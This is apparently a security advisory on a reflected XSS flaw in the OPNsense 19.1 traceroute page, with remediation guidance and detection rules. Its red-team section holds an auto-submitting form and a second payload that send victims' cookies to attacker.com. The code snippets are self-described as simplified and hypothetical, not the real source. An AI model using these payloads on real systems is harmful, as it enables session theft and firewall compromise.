CVE-2019-25372

Executive Summary

CVE-2019-25372 is a reflected cross-site scripting (XSS) vulnerability in OPNsense version 19.1. The flaw resides in the diag_traceroute.php component, where the host parameter is not properly sanitized before being reflected in the HTTP response. An unauthenticated attacker can craft a malicious POST request containing JavaScript payloads. When a victim (e.g., an administrator) visits the crafted URL or submits the form, the payload executes in the context of the OPNsense web interface, potentially leading to session hijacking, credential theft, or further compromise of the firewall appliance.

Supply Chain & Package Security

OPNsense is a FreeBSD-based open-source firewall distribution. This vulnerability affects the core web GUI component, not a third-party package. However, the risk is amplified in managed environments where the firewall GUI is exposed to internal or external users. No supply chain compromise has been identified, but the lack of a timely patch increases exposure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click or submit)
• Scope: Changed (impact on browser session, not the server)
• Confidentiality Impact: Low (session tokens, cookies)
• Integrity Impact: Low (malicious actions via victim’s session)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the real-world impact is elevated because OPNsense is often used as a perimeter firewall. An XSS against an admin can lead to full network compromise.

Deep Dive & Mechanics

The vulnerability exists in /diag_traceroute.php. The host parameter is taken directly from a POST request and echoed back into the HTML response without proper encoding or validation. The following simplified code snippet illustrates the flaw:

// Vulnerable code in diag_traceroute.php
$host = $_POST['host'];
echo "<p>Traceroute to: " . $host . "</p>";

An attacker can inject a payload such as:

<script>alert('XSS')</script>

When the victim submits the form or visits a crafted URL, the script executes in the browser. Because the request is POST-based, the attacker must trick the victim into submitting a form (e.g., via phishing or a hidden iframe). The attack does not require authentication, but the victim must have an active session to the OPNsense GUI.

Vulnerable vs. Patched Code

Vulnerable (OPNsense 19.1):

// diag_traceroute.php (vulnerable)
$host = $_POST['host'];
echo "<p>Traceroute to: " . $host . "</p>";

Patched (hypothetical fix):

// diag_traceroute.php (patched)
$host = htmlspecialchars($_POST['host'], ENT_QUOTES, 'UTF-8');
echo "<p>Traceroute to: " . $host . "</p>";

The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection. Additionally, input validation (e.g., allowing only IP addresses or hostnames) should be implemented.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• OPNsense 19.1 instance with web GUI accessible.
• Victim with an active session to the GUI.

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a POST form to the target OPNsense:

<html>
<body>
<form id="xss" action="https://target.opnsense/diag_traceroute.php" method="POST">
  <input type="hidden" name="host" value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

2. Host the page on an attacker-controlled server.
3. Send the link to the victim (e.g., via email or chat).
4. When the victim visits the page, the form auto-submits, executing the JavaScript payload.
5. The payload exfiltrates the victim’s cookies to the attacker’s server.

Alternative Payload (session hijacking):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /diag_traceroute.php with suspicious host parameters (e.g., containing <script>, onerror, javascript:).
• Alert on outbound connections from the OPNsense GUI to unknown external IPs (potential data exfiltration).

Hardening:

• Restrict access to the OPNsense web GUI to trusted IPs only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to filter XSS payloads.
• Upgrade to a patched version of OPNsense (if available) or apply manual input sanitization.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /diag_traceroute.php with host parameter containing <script>, onerror, onload, javascript:.
  • Outbound HTTP/HTTPS requests from OPNsense to unknown domains (e.g., attacker.com/steal?cookie=...).
• Logs:
  • Web server logs showing diag_traceroute.php accessed with unusual host values.
  • Browser console errors (if CSP is enabled) indicating inline script execution blocked.
• File System:
  • No file-based IOCs; the attack is purely in-memory (browser).

Detection Engineering

YARA Rule

rule CVE_2019_25372_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting OPNsense diag_traceroute.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25372"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $param = "host="
    condition:
        $param and ($xss1 or $xss2 or $xss3 or $xss4)
}

Sigma Rule

title: OPNsense diag_traceroute.php XSS Attempt
id: 7a8b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against OPNsense 19.1 via diag_traceroute.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/diag_traceroute.php'
        cs-uri-query|contains: 'host='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of hostnames containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25372 OPNsense diag_traceroute.php XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/diag_traceroute.php"; http.client_body; content:"host="; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict access to the OPNsense web GUI to trusted IPs only (e.g., via firewall rules).
2. Short-term: Apply input sanitization manually by editing /usr/local/www/diag_traceroute.php and wrapping $host with htmlspecialchars().
3. Long-term: Upgrade to the latest OPNsense version (22.1 or later) which includes proper input validation.
4. Compensating Controls: Enable Content Security Policy (CSP) headers in the web server configuration to block inline scripts. Example CSP:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

5. Monitoring: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.

Valters IT